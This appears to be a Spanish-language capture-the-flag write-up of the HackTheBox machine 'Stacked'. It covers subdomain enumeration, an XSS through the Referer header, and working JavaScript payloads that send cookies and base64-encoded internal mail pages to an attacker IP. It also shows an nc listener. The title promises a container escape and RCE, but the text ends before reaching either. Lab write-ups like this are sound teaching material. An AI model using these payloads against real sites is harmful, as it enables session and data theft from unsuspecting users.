Escape de Contenedor Docker mediante XSS y RCE en HTB Stacked
El escaneo del host 10.129.228.28 con nmap reveló puertos abiertos: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41) y 2376 (demonio Docker con TLS). El puerto 80 aloja el dominio stacked.htb después de agregar una entrada a /etc/hosts. La página principal contiene un campo de correo electrónico sin tráfico de red visible al enviarlo.
La fuerza bruta de directorios con gobuster usando common.txt no arrojó resultados. Cambiando a enumeración de hosts virtuales con ffuf usando subdomains-top1million-5000.txt con un filtro de palabras (-fw 18) descubrió portfolio.stacked.htb.
gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18
Analizando portfolio.stacked.htb y LocalStack
El sitio portfolio.stacked.htb describe Stacked, una empresa que utiliza LocalStack—un emulador local de servicios AWS en contenedores Docker. Hay disponible un archivo docker-compose.yml con puertos expuestos:
- 443 (HTTPS)
- 4566 (API de LocalStack)
- 4571 (probablemente Elasticsearch)
- 8080 (Interfaz Web)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up
La parte inferior de la página muestra el año de creación—una pista potencial para mayor explotación.
Descubriendo y Explotando XSS
El formulario de envío de datos personales en portfolio.stacked.htb refleja etiquetas HTML con el mensaje "¡xss detectado!". La inyección directa en el cuerpo de la solicitud a /process.php falla incluso con doble codificación URL.
Probar encabezados (User-Agent, Origin, Referer) reveló una vulnerabilidad en Referer. El payload <script src="http://10.10.16.10/test.js"></script> se ejecuta con éxito:
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();
Las cookies están protegidas con HttpOnly. Cambiar a document.location reveló el origen: http://mail.stacked.htb/read-mail.php?id=2.
Ataque CSRF mediante XSS para Acceder a mail.stacked.htb
El nuevo subdominio mail.stacked.htb redirige solicitudes externas. A través del XSS de la víctima, implementamos un proxy:
- Inyectar
<script src="http://10.10.16.10/exploit.js"></script>. - El script solicita una página interna, la codifica en base64 y la envía al atacante:9001.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
if (this.readyState == 4){
data = btoa(req1.response);
let req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
req2.send();
}
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html
La bandeja de entrada contiene un correo de Jeremy Taint sobre lanzar una instancia S3 (id=1). CSS/imágenes no cargan debido a restricciones de red.
Conclusiones Clave
- XSS en el encabezado Referer conduce a ejecución de JS en el contexto de la víctima.
- Proxy base64 mediante XMLHttpRequest evita restricciones de red de Docker.
- docker-compose de LocalStack revela puertos internos y arquitectura.
- La enumeración de hosts virtuales es crítica cuando falla dirbusting.
- El filtro de palabras de ffuf (-fw) resuelve problemas de contenido de error dinámico.
— Editorial Team
Aún no hay comentarios.